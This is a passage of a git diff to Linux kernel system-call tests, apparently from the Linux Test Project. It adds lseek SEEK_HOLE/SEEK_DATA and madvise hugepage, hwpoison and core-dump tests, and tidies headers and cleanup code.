index a07cc5f..9d431f0 100644
--- a/testcases/kernel/syscalls/lseek/lseek04.c
+++ b/testcases/kernel/syscalls/lseek/lseek04.c
@@ -111,7 +111,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/lseek/lseek05.c b/testcases/kernel/syscalls/lseek/lseek05.c
index daf15e5..1eee03d 100644
--- a/testcases/kernel/syscalls/lseek/lseek05.c
+++ b/testcases/kernel/syscalls/lseek/lseek05.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/lseek/lseek11.c b/testcases/kernel/syscalls/lseek/lseek11.c
new file mode 100644
index 0000000..4c5bb00
--- /dev/null
+++ b/testcases/kernel/syscalls/lseek/lseek11.c
@@ -0,0 +1,238 @@
+/*
+ *   Copyright (C) 2017 Red Hat, Inc.  All rights reserved.
+ *
+ *   This program is free software;  you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *   the GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program;  if not, write to the Free Software
+ *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *
+ *   AUTHOR: Zorro Lang <zlang@redhat.com>
+ *
+ *   DESCRIPTION
+ *     This case does functional SEEK_HOLE and SEEK_DATA of lseek(2) testing.
+ *
+ *     Since version 3.1, Linux supports the following additional values for
+ *     whence:
+ *
+ *     SEEK_DATA
+ *         Adjust the file offset to the next location in the file greater than
+ *         or  equal  to  offset  containing data.  If offset points to data,
+ *         then the file offset is set to offset.
+ *
+ *     SEEK_HOLE
+ *         Adjust the file offset to the next hole in the file greater than or
+ *         equal to offset.  If offset points into the middle of a hole, then
+ *         the file offset is set to offset. If there is no hole past offset,
+ *         then the file offset is adjusted to the end of the file (i.e., there
+ *         is an implicit hole at the end of any file).
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_prw.h"
+#include "lapi/seek.h"
+
+/*
+ * This case create 3 holes and 4 data fields, every (data) is 12 bytes,
+ * every UNIT has UNIT_BLOCKS * block_size bytes. The structure as below:
+ *
+ * ----------------------------------------------------------------------------------------------
+ * data01suffix      (hole)      data02suffix      (hole)       data03suffix  (hole)  data04sufix
+ * ----------------------------------------------------------------------------------------------
+ * |<--- UNIT_BLOCKS blocks --->||<--- UNIT_BLOCKS blocks  --->||<---  UNIT_BLOCKS blocks   --->|
+ *
+ */
+#define UNIT_COUNT   3
+#define UNIT_BLOCKS  10
+#define FILE_BLOCKS  (UNIT_BLOCKS * UNIT_COUNT)
+
+static int fd;
+static blksize_t block_size;
+
+/*
+ * SEEK from "startblock * block_size - offset", "whence" as the directive
+ * whence.
+ * startblock * block_size - offset: as offset of lseek()
+ * whence: as whence of lseek()
+ * data: as the expected result read from file offset. NULL means expect
+ *       the end of file.
+ * count: as the count read from file
+ */
+static struct tparam {
+	off_t  startblock;
+	off_t  offset;
+	int    whence;
+	char   *data;
+	size_t count;
+} tparams[] = {
+	{0,               0,    SEEK_DATA, "data01",   6},    /* SEEK_DATA from starting of file*/
+	{0,               4,    SEEK_DATA, "01suffix", 8},    /* SEEK_DATA from maddle of the first data */
+	{0,               0,    SEEK_HOLE, "",         1023}, /* SEEK_HOLE from starting of file */
+	{0,               4,    SEEK_HOLE, "",         1023}, /* SEEK_HOLE from maddle of the first data */
+	{1,               0,    SEEK_HOLE, "",         1023}, /* SEEK_HOLE from the starting of the first hole */
+	{1,               128,  SEEK_HOLE, "",         1023}, /* SEEK_HOLE from maddle of the first hole */
+	{1,               0,    SEEK_DATA, "data02",   6},    /* SEEK_DATA from the starting of the first hole */
+	{UNIT_BLOCKS,     -1,   SEEK_DATA, "data02",   6},    /* SEEK_DATA from the tail of the first hole */
+	{UNIT_BLOCKS,     0,    SEEK_DATA, "data02",   6},    /* SEEK_DATA from the starting of the second data */
+	{UNIT_BLOCKS,     4,    SEEK_DATA, "02suffix", 8},    /* SEEK_DATA from middle of the second data */
+	{UNIT_BLOCKS,     0,    SEEK_HOLE, "",         1023}, /* SEEK_HOLE from the starting of the second data */
+	{UNIT_BLOCKS,     4,    SEEK_HOLE, "",         1023}, /* SEEK_HOLE from middle of the second data */
+	{UNIT_BLOCKS + 1, 128,  SEEK_HOLE, "",         1023}, /* SEEK_HOLE from middle of the second hole */
+	{UNIT_BLOCKS + 1, 128,  SEEK_DATA, "data03",   6},    /* SEEK_DATA from middle of the second hole */
+	{FILE_BLOCKS,    -128,  SEEK_HOLE, NULL,       0},    /* SEEK_HOLE from no hole pass offset*/
+};
+
+static void cleanup(void)
+{
+	SAFE_CLOSE(fd);
+}
+
+static void get_blocksize(void)
+{
+	off_t pos = 0, offset = 128;
+	int shift;
+	struct stat st;
+
+	SAFE_FSTAT(fd, &st);
+
+	/* try to discover the actual alloc size */
+	while (pos == 0 && offset < (st.st_blksize * 2)) {
+		offset <<= 1;
+		SAFE_FTRUNCATE(fd, 0);
+		SAFE_PWRITE(1, fd, "a", 1, offset);
+		SAFE_FSYNC(fd);
+		pos = lseek(fd, 0, SEEK_DATA);
+		if (pos == -1) {
+			if (errno == EINVAL) {
+				tst_brk(TCONF | TERRNO, "SEEK_DATA "
+					"and SEEK_HOLE not implemented");
+			}
+			tst_brk(TBROK | TERRNO, "SEEK_DATA failed");
+		}
+	}
+
+	/* bisect for double check */
+	shift = offset >> 2;
+	while (shift && offset < (st.st_blksize * 2)) {
+		SAFE_FTRUNCATE(fd, 0);
+		SAFE_PWRITE(1, fd, "a", 1, offset);
+		SAFE_FSYNC(fd);
+		pos = SAFE_LSEEK(fd, 0, SEEK_DATA);
+		offset += pos ? -shift : shift;
+		shift >>= 1;
+	}
+
+	if (!shift)
+		offset += pos ? 0 : 1;
+	block_size = offset;
+
+	/*
+	 * Due to some filesystems use generic_file_llseek(), e.g: CIFS,
+	 * it thinks the entire file is data, only a virtual hole at the end
+	 * of the file. This case can't test this situation, so if the minimum
+	 * alloc size we got bigger then st.st_blksize, we think it's not
+	 * a valid value.
+	 */
+	if (block_size > st.st_blksize) {
+		tst_brk(TCONF,
+		        "filesystem maybe use generic_file_llseek(), not support real SEEK_DATA/SEEK_HOLE");
+	}
+}
+
+static void write_data(int fd, int num)
+{
+	char buf[64];
+
+	sprintf(buf, "data%02dsuffix", num);
+	SAFE_WRITE(1, fd, buf, strlen(buf));
+}
+
+static void setup(void)
+{
+	int i;
+	off_t offset = 0;
+	char fname[255];
+
+	sprintf(fname, "tfile_lseek_%d", getpid());
+
+	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0666);
+
+	get_blocksize();
+	tst_res(TINFO, "The block size is %lu", block_size);
+
+	/*
+	 * truncate to the expected file size directly, to keep away the effect
+	 * of speculative preallocation of some filesystems (e.g. XFS)
+	 */
+	SAFE_FTRUNCATE(fd, FILE_BLOCKS * block_size);
+
+	SAFE_LSEEK(fd, 0, SEEK_HOLE);
+
+	for (i = 0; i < UNIT_COUNT; i++) {
+		offset = UNIT_BLOCKS * block_size * i;
+		SAFE_LSEEK(fd, offset, SEEK_SET);
+		write_data(fd, i + 1);
+	}
+
+	SAFE_LSEEK(fd, -128, SEEK_END);
+	write_data(fd, i + 1);
+
+	SAFE_FSYNC(fd);
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+}
+
+static void test_lseek(unsigned int n)
+{
+	struct tparam *tp = &tparams[n];
+	off_t offset;
+	char buf[1024];
+	int rc = 0;
+
+	memset(buf, 0, sizeof(buf));
+	offset = (tp->startblock * block_size) + tp->offset;
+	offset = SAFE_LSEEK(fd, offset, tp->whence);
+	if (tp->data) {
+		SAFE_READ(1, fd, buf, tp->count);
+		rc = strcmp(buf, tp->data);
+	} else {
+		if (offset != SAFE_LSEEK(fd, 0, SEEK_END))
+			rc = 1;
+	}
+
+	if (rc != 0) {
+		tst_res(TFAIL,
+		        "The %uth test failed: %s from startblock %ld offset %ld, expect \'%s\' return \'%s\'",
+		        n, (tp->whence == SEEK_DATA) ? "SEEK_DATA" : "SEEK_HOLE",
+		        tp->startblock, tp->offset, tp->data ? tp->data : "", buf);
+	} else {
+		tst_res(TPASS,
+		        "The %uth test passed: %s from startblock %ld offset %ld",
+		        n, (tp->whence == SEEK_DATA) ? "SEEK_DATA" : "SEEK_HOLE",
+		        tp->startblock, tp->offset);
+	}
+}
+
+static struct tst_test test = {
+	.tid          = "lseek11",
+	.tcnt         = ARRAY_SIZE(tparams),
+	.test         = test_lseek,
+	.setup        = setup,
+	.cleanup      = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/lstat/lstat01.c b/testcases/kernel/syscalls/lstat/lstat01.c
index cd5263f..45a6176 100644
--- a/testcases/kernel/syscalls/lstat/lstat01.c
+++ b/testcases/kernel/syscalls/lstat/lstat01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/lstat/lstat03.c b/testcases/kernel/syscalls/lstat/lstat03.c
index d7b0c30..f222812 100644
--- a/testcases/kernel/syscalls/lstat/lstat03.c
+++ b/testcases/kernel/syscalls/lstat/lstat03.c
@@ -30,7 +30,7 @@
  */
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/madvise/madvise01.c b/testcases/kernel/syscalls/madvise/madvise01.c
index a8a974b..4ec3ef2 100644
--- a/testcases/kernel/syscalls/madvise/madvise01.c
+++ b/testcases/kernel/syscalls/madvise/madvise01.c
@@ -38,7 +38,7 @@
 #define STR "abcdefghijklmnopqrstuvwxyz12345\n"
 
 static char *sfile;
-static char *pfile;
+static char *amem;
 static struct stat st;
 
 static struct tcase {
@@ -57,10 +57,11 @@
 	{MADV_HWPOISON,    "MADV_HWPOISON",    &sfile}, /* since Linux 2.6.32 */
 	{MADV_MERGEABLE,   "MADV_MERGEABLE",   &sfile}, /* since Linux 2.6.32 */
 	{MADV_UNMERGEABLE, "MADV_UNMERGEABLE", &sfile}, /* since Linux 2.6.32 */
-	{MADV_HUGEPAGE,    "MADV_HUGEPAGE",    &pfile}, /* since Linux 2.6.38 */
-	{MADV_NOHUGEPAGE,  "MADV_NOHUGEPAGE",  &pfile}, /* since Linux 2.6.38 */
+	{MADV_HUGEPAGE,    "MADV_HUGEPAGE",    &amem},  /* since Linux 2.6.38 */
+	{MADV_NOHUGEPAGE,  "MADV_NOHUGEPAGE",  &amem},  /* since Linux 2.6.38 */
 	{MADV_DONTDUMP,    "MADV_DONTDUMP",    &sfile}, /* since Linux 3.4 */
-	{MADV_DODUMP,      "MADV_DODUMP",      &sfile}  /* since Linux 3.4 */
+	{MADV_DODUMP,      "MADV_DODUMP",      &sfile}, /* since Linux 3.4 */
+	{MADV_FREE,        "MADV_FREE",        &amem},  /* since Linux 4.5 */
 };
 
 static void setup(void)
@@ -85,18 +86,17 @@
 
 	/* Map the input file into private memory. MADV_HUGEPAGE only works
 	 * with private anonymous pages */
-	pfile = SAFE_MMAP(NULL, st.st_size,
-			PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, fd, 0);
+	amem = SAFE_MMAP(NULL, st.st_size,
+			PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
 	SAFE_CLOSE(fd);
 }
 
 static void cleanup(void)
 {
-	munmap(sfile, st.st_size);
-	munmap(pfile, st.st_size);
-	umount(TMP_DIR);
-	rmdir(TMP_DIR);
+	SAFE_MUNMAP(sfile, st.st_size);
+	SAFE_MUNMAP(amem, st.st_size);
+	SAFE_UMOUNT(TMP_DIR);
 }
 
 static void verify_madvise(unsigned int i)
diff --git a/testcases/kernel/syscalls/madvise/madvise02.c b/testcases/kernel/syscalls/madvise/madvise02.c
index 33b1736..592536d 100644
--- a/testcases/kernel/syscalls/madvise/madvise02.c
+++ b/testcases/kernel/syscalls/madvise/madvise02.c
@@ -175,8 +175,8 @@
 static void cleanup(void)
 {
 	free(ptr_addr);
-	munmap(file1, st.st_size);
-	munmap(file2, st.st_size - pagesize);
+	SAFE_MUNMAP(file1, st.st_size);
+	SAFE_MUNMAP(file2, st.st_size - pagesize);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/madvise/madvise05.c b/testcases/kernel/syscalls/madvise/madvise05.c
index 612c967..4f8718f 100644
--- a/testcases/kernel/syscalls/madvise/madvise05.c
+++ b/testcases/kernel/syscalls/madvise/madvise05.c
@@ -55,7 +55,7 @@
 }
 
 static struct tst_test test = {
-	.tid = "madvice05",
+	.tid = "madvise05",
 	.min_kver = "3.9.0",
 	.test_all = verify_madvise,
 };
diff --git a/testcases/kernel/syscalls/madvise/madvise06.c b/testcases/kernel/syscalls/madvise/madvise06.c
index 6b081fd..9b3e1f0 100644
--- a/testcases/kernel/syscalls/madvise/madvise06.c
+++ b/testcases/kernel/syscalls/madvise/madvise06.c
@@ -34,29 +34,83 @@
  */
 
 #include <errno.h>
+#include <stdio.h>
+#include <sys/mount.h>
 #include <sys/sysinfo.h>
 #include "tst_test.h"
 
-#define GB_SZ  (1024*1024*1024)
+#define CHUNK_SZ (400*1024*1024L)
+#define CHUNK_PAGES (CHUNK_SZ / pg_sz)
+#define PASS_THRESHOLD (CHUNK_SZ / 4)
 
-static long dst_max;
+#define MNT_NAME "memory"
+#define GROUP_NAME "madvise06"
+
+static const char drop_caches_fname[] = "/proc/sys/vm/drop_caches";
 static int pg_sz;
 
+static void check_path(const char *path)
+{
+	if (access(path, R_OK | W_OK))
+		tst_brk(TCONF, "file needed: %s\n", path);
+}
+
 static void setup(void)
 {
-	struct sysinfo sys_buf;
-
-	sysinfo(&sys_buf);
-
-	if (sys_buf.totalram < 2L * GB_SZ)
-		tst_brk(TCONF, "Test requires more than 2GB of RAM");
-	if (sys_buf.totalram > 100L * GB_SZ)
-		tst_brk(TCONF, "System RAM is too large, skip test");
-
-	dst_max = sys_buf.totalram / GB_SZ;
-	tst_res(TINFO, "dst_max = %ld", dst_max);
+	struct sysinfo sys_buf_start;
 
 	pg_sz = getpagesize();
+
+	check_path(drop_caches_fname);
+	tst_res(TINFO, "dropping caches");
+	sync();
+	SAFE_FILE_PRINTF(drop_caches_fname, "3");
+
+	sysinfo(&sys_buf_start);
+	if (sys_buf_start.freeram < 2 * CHUNK_SZ) {
+		tst_brk(TCONF, "System RAM is too small (%li bytes needed)",
+			2 * CHUNK_SZ);
+	}
+	if (sys_buf_start.freeswap < 2 * CHUNK_SZ) {
+		tst_brk(TCONF, "System swap is too small (%li bytes needed)",
+			2 * CHUNK_SZ);
+	}
+
+	SAFE_MKDIR(MNT_NAME, 0700);
+	if (mount("memory", MNT_NAME, "cgroup", 0, "memory") == -1) {
+		if (errno == ENODEV || errno == ENOENT)
+			tst_brk(TCONF, "memory cgroup needed");
+	}
+	SAFE_MKDIR(MNT_NAME"/"GROUP_NAME, 0700);
+
+	check_path("/proc/self/oom_score_adj");
+	check_path(MNT_NAME"/"GROUP_NAME"/memory.limit_in_bytes");
+	check_path(MNT_NAME"/"GROUP_NAME"/memory.swappiness");
+	check_path(MNT_NAME"/"GROUP_NAME"/tasks");
+
+	SAFE_FILE_PRINTF("/proc/self/oom_score_adj", "%d", -1000);
+	SAFE_FILE_PRINTF(MNT_NAME"/"GROUP_NAME"/memory.limit_in_bytes", "%ld\n",
+		PASS_THRESHOLD);
+	SAFE_FILE_PRINTF(MNT_NAME"/"GROUP_NAME"/memory.swappiness", "60");
+	SAFE_FILE_PRINTF(MNT_NAME"/"GROUP_NAME"/tasks", "%d\n", getpid());
+}
+
+static void cleanup(void)
+{
+	if (!access(MNT_NAME"/tasks", F_OK)) {
+		SAFE_FILE_PRINTF(MNT_NAME"/tasks", "%d\n", getpid());
+		SAFE_RMDIR(MNT_NAME"/"GROUP_NAME);
+		SAFE_UMOUNT(MNT_NAME);
+	}
+}
+
+static void dirty_pages(char *ptr, long size)
+{
+	long i;
+	long pages = size / pg_sz;
+
+	for (i = 0; i < pages; i++)
+		ptr[i * pg_sz] = 'x';
 }
 
 static int get_page_fault_num(void)
@@ -66,46 +120,52 @@
 	SAFE_FILE_SCANF("/proc/self/stat",
 			"%*s %*s %*s %*s %*s %*s %*s %*s %*s %*s %*s %d",
 			&pg);
-
 	return pg;
 }
 
 static void test_advice_willneed(void)
 {
-	int i;
-	char *src;
-	char *dst[100];
-	int page_fault_num_1;
-	int page_fault_num_2;
+	int loops = 50;
+	char *target;
+	long swapcached_start, swapcached;
+	int page_fault_num_1, page_fault_num_2;
 
-	/* allocate source memory (1GB only) */
-	src = SAFE_MMAP(NULL, 1 * GB_SZ, PROT_READ | PROT_WRITE,
+	target = SAFE_MMAP(NULL, CHUNK_SZ, PROT_READ | PROT_WRITE,
 			MAP_SHARED | MAP_ANONYMOUS,
 			-1, 0);
+	dirty_pages(target, CHUNK_SZ);
 
-	/* allocate destination memory (array) */
-	for (i = 0; i < dst_max; ++i)
-		dst[i] = SAFE_MMAP(NULL, 1 * GB_SZ,
-				PROT_READ | PROT_WRITE,
-				MAP_SHARED | MAP_ANONYMOUS,
-				-1, 0);
+	SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld",
+		&swapcached_start);
+	tst_res(TINFO, "SwapCached (before madvise): %ld", swapcached_start);
 
-	/* memmove source to each destination memories (for SWAP-OUT) */
-	for (i = 0; i < dst_max; ++i)
-		memmove(dst[i], src, 1 * GB_SZ);
-
-	tst_res(TINFO, "PageFault(no madvice): %d", get_page_fault_num());
-
-	/* Do madvice() to dst[0] */
-	TEST(madvise(dst[0], pg_sz, MADV_WILLNEED));
+	TEST(madvise(target, CHUNK_SZ, MADV_WILLNEED));
 	if (TEST_RETURN == -1)
 		tst_brk(TBROK | TERRNO, "madvise failed");
 
+	do {
+		loops--;
+		usleep(100000);
+		SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld",
+			&swapcached);
+	} while (swapcached < swapcached_start + PASS_THRESHOLD / 1024
+		&& loops > 0);
+
+	tst_res(TINFO, "SwapCached (after madvise): %ld", swapcached);
+	if (swapcached > swapcached_start + PASS_THRESHOLD / 1024) {
+		tst_res(TPASS, "Regression test pass");
+		SAFE_MUNMAP(target, CHUNK_SZ);
+		return;
+	}
+
+	/*
+	 * We may have hit a bug or we just have slow I/O,
+	 * try accessing first page.
+	 */
 	page_fault_num_1 = get_page_fault_num();
 	tst_res(TINFO, "PageFault(madvice / no mem access): %d",
 			page_fault_num_1);
-
-	*dst[0] = 'a';
+	target[0] = 'a';
 	page_fault_num_2 = get_page_fault_num();
 	tst_res(TINFO, "PageFault(madvice / mem access): %d",
 			page_fault_num_2);
@@ -115,13 +175,15 @@
 	else
 		tst_res(TPASS, "Regression test pass");
 
-	SAFE_MUNMAP(src, 1 * GB_SZ);
-	for (i = 0; i < dst_max; ++i)
-		SAFE_MUNMAP(dst[i], 1 * GB_SZ);
+	SAFE_MUNMAP(target, CHUNK_SZ);
 }
 
 static struct tst_test test = {
-	.tid = "madvice06",
+	.tid = "madvise06",
 	.test_all = test_advice_willneed,
 	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "3.10.0",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
 };
diff --git a/testcases/kernel/syscalls/madvise/madvise07.c b/testcases/kernel/syscalls/madvise/madvise07.c
new file mode 100644
index 0000000..80586a1
--- /dev/null
+++ b/testcases/kernel/syscalls/madvise/madvise07.c
@@ -0,0 +1,137 @@
+/*
+ * Copyright (c) 2016 Richard Palethorpe <richiejp@f-m.fm>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Check that accessing memory marked with MADV_HWPOISON results in SIGBUS.
+ *
+ * Test flow: create child process,
+ *	      map memory,
+ *	      mark memory with MADV_HWPOISON inside child process,
+ *	      access memory,
+ *	      if SIGBUS is delivered to child the test passes else it fails
+ *
+ * When MAP_PRIVATE is set (without MAP_POPULATE) madvise() may error with
+ * EBUSY on the first attempt and succeed on the second, but without poisoning
+ * any memory. A private mapping is only populated with pages once it is
+ * accessed and poisoning an unmapped VM range is essentially undefined
+ * behaviour. However madvise() itself causes the address to be mapped to the
+ * zero page. If/when the zero page can be poisoned then the test may pass
+ * without any error. For now we just consider it a configuration failure.
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/mmap.h"
+
+static int maptypes[] = {
+	MAP_PRIVATE,
+	MAP_PRIVATE | MAP_POPULATE,
+	MAP_SHARED
+};
+
+static char *mapname(int maptype)
+{
+	switch (maptype) {
+	case MAP_PRIVATE: return "MAP_SHARED";
+	case MAP_PRIVATE | MAP_POPULATE: return "MAP_PRIVATE | MAP_POPULATE";
+	case MAP_SHARED: return "MAP_SHARED";
+	default:
+		tst_res(TWARN, "Unknown map type: %d", maptype);
+	}
+	return "Unknown";
+}
+
+static void run_child(int maptype)
+{
+	const size_t msize = getpagesize();
+	void *mem = NULL;
+	int first_attempt = 1;
+
+	tst_res(TINFO,
+		"mmap(..., MAP_ANONYMOUS | %s, ...)", mapname(maptype));
+	mem = SAFE_MMAP(NULL,
+			msize,
+			PROT_READ | PROT_WRITE,
+			MAP_ANONYMOUS | maptype,
+			-1,
+			0);
+
+do_madvise:
+	tst_res(TINFO, "madvise(%p, %zu, MADV_HWPOISON)", mem, msize);
+	if (madvise(mem, msize, MADV_HWPOISON) == -1) {
+		if (errno == EINVAL) {
+			tst_res(TCONF | TERRNO,
+				"CONFIG_MEMORY_FAILURE probably not set in kconfig");
+		} else if (errno == EBUSY && maptype == MAP_PRIVATE) {
+			tst_res(TCONF,
+				"Madvise failed with EBUSY");
+			if (first_attempt--)
+				goto do_madvise;
+		} else {
+			tst_res(TFAIL | TERRNO, "Could not poison memory");
+		}
+		exit(0);
+	}
+
+	*((char *)mem) = 'd';
+
+	if (maptype == MAP_PRIVATE) {
+		tst_res(TCONF,
+			"Zero page poisoning is probably not implemented");
+	} else {
+		tst_res(TFAIL,
+			"Did not receive SIGBUS after accessing %s memory marked with MADV_HWPOISON",
+			mapname(maptype));
+	}
+}
+
+static void run(unsigned int n)
+{
+	int status;
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		run_child(maptypes[n]);
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGBUS)
+		tst_res(TPASS,
+			"madvise(..., MADV_HWPOISON) on %s memory",
+			mapname(maptypes[n]));
+	else if (WIFEXITED(status) && WEXITSTATUS(status) == TBROK)
+		tst_res(TBROK, "Child exited abnormally");
+}
+
+static struct tst_test test = {
+	.tid = "madvise07",
+	.test = run,
+	.tcnt = ARRAY_SIZE(maptypes),
+	.min_kver = "2.6.31",
+	.needs_root = 1,
+	.forks_child = 1
+};
+
diff --git a/testcases/kernel/syscalls/madvise/madvise08.c b/testcases/kernel/syscalls/madvise/madvise08.c
new file mode 100644
index 0000000..ebda3f2
--- /dev/null
+++ b/testcases/kernel/syscalls/madvise/madvise08.c
@@ -0,0 +1,237 @@
+/*
+ * Copyright (c) 2016 Richard Palethorpe <richiejp@f-m.fm>
+ * Copyright (c) 2017 SUSE LLC
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Check that memory marked with MADV_DONTDUMP is not included in a core dump
+ * and check that the same memory then marked with MADV_DODUMP is included in
+ * a core dump.
+ *
+ * In order to reliably find the core dump this test temporarily changes the
+ * system wide core_pattern setting. Meaning all core dumps will be sent to the
+ * test's temporary dir until the setting is restored during cleanup.
+ *
+ * Test flow: map memory,
+ *	      write generated character sequence to memory,
+ *	      start child process,
+ *	      mark memory with MADV_DONTDUMP in child,
+ *	      abort child,
+ *	      scan child's core dump for character sequence,
+ *	      if the sequence is not found it is a pass otherwise a fail,
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/prctl.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "tst_test.h"
+#include "lapi/mmap.h"
+
+#define CORE_PATTERN "/proc/sys/kernel/core_pattern"
+#define CORE_FILTER "/proc/self/coredump_filter"
+#define YCOUNT 0x500L
+#define FMEMSIZE (YCOUNT + 0x2L)
+
+static int dfd;
+static void *fmem;
+static char *cpattern;
+
+static void setup(void)
+{
+	char cwd[1024];
+	char tmpcpattern[1048];
+	char *fmemc;
+	int i;
+	unsigned int filter;
+	struct rlimit limit;
+
+	limit.rlim_max = RLIM_INFINITY;
+	limit.rlim_cur = limit.rlim_max;
+	SAFE_SETRLIMIT(RLIMIT_CORE, &limit);
+
+	switch (prctl(PR_GET_DUMPABLE)) {
+	case 0:
+		tst_brk(TCONF, "Process is not dumpable.");
+	case 1:
+		break;
+	default:
+		tst_brk(TBROK | TERRNO, "prctl(PR_GET_DUMPABLE)");
+	}
+
+	SAFE_FILE_SCANF(CORE_FILTER, "%x", &filter);
+	if (!(0x1 & filter))
+		tst_brk(TCONF, "Anonymous private memory is not dumpable.");
+
+	SAFE_FILE_SCANF(CORE_PATTERN, "%m[^\n]", &cpattern);
+	tst_res(TINFO, "System core pattern is '%s'", cpattern);
+
+	SAFE_GETCWD(cwd, sizeof(cwd));
+	snprintf(tmpcpattern, sizeof(tmpcpattern), "%s/dump-%%p", cwd);
+	tst_res(TINFO, "Temporary core pattern is '%s'", tmpcpattern);
+	SAFE_FILE_PRINTF(CORE_PATTERN, "%s", tmpcpattern);
+
+	fmem = SAFE_MMAP(NULL,
+			 FMEMSIZE,
+			 PROT_READ | PROT_WRITE,
+			 MAP_ANONYMOUS | MAP_PRIVATE,
+			 -1,
+			 0);
+
+	/*
+	 * Write a generated character sequence to the mapped memory,
+	 * which we later look for in the core dump.
+	 */
+	fmemc = (char *)fmem;
+	*fmemc = 'x';
+	for (i = 0; i < YCOUNT; i++)
+		fmemc[i + 1] = 'y';
+	fmemc[++i] = 'z';
+}
+
+static void cleanup(void)
+{
+	if (cpattern)
+		SAFE_FILE_PRINTF(CORE_PATTERN, "%s", cpattern);
+
+	free(cpattern);
+
+	if (fmem)
+		SAFE_MUNMAP(fmem, FMEMSIZE);
+
+	if (dfd > 0)
+		SAFE_CLOSE(dfd);
+}
+
+static int find_sequence(int pid)
+{
+	char expectc = 'x';
+	ssize_t read, pos = 0;
+	char rbuf[1024];
+	int ycount = 0;
+	char dumpname[256];
+
+	snprintf(dumpname, 256, "dump-%d", pid);
+	tst_res(TINFO, "Dump file should be %s", dumpname);
+	if (access(dumpname, F_OK))
+		tst_brk(TBROK | TERRNO, "Dump file was not found.");
+
+	dfd = SAFE_OPEN(dumpname, O_RDONLY);
+
+	read = SAFE_READ(0, dfd, &rbuf, sizeof(rbuf));
+	while (read) {
+		switch (rbuf[pos]) {
+		case 'x':
+			ycount = 0;
+			expectc = 'y';
+			break;
+		case 'y':
+			if (expectc == 'y') {
+				ycount++;
+			} else {
+				expectc = 'x';
+				break;
+			}
+
+			if (ycount == YCOUNT)
+				expectc = 'z';
+			break;
+		case 'z':
+			if (expectc == 'z') {
+				SAFE_CLOSE(dfd);
+				return 1;
+			}
+		default:
+			expectc = 'x';
+		}
+		if (++pos >= read) {
+			read = SAFE_READ(0, dfd, &rbuf, sizeof(rbuf));
+			pos = 0;
+		}
+	}
+
+	SAFE_CLOSE(dfd);
+	return 0;
+}
+
+static pid_t run_child(int advice)
+{
+	int status;
+	pid_t pid;
+	char *advstr =
+		advice == MADV_DONTDUMP ? "MADV_DONTDUMP" : "MADV_DODUMP";
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
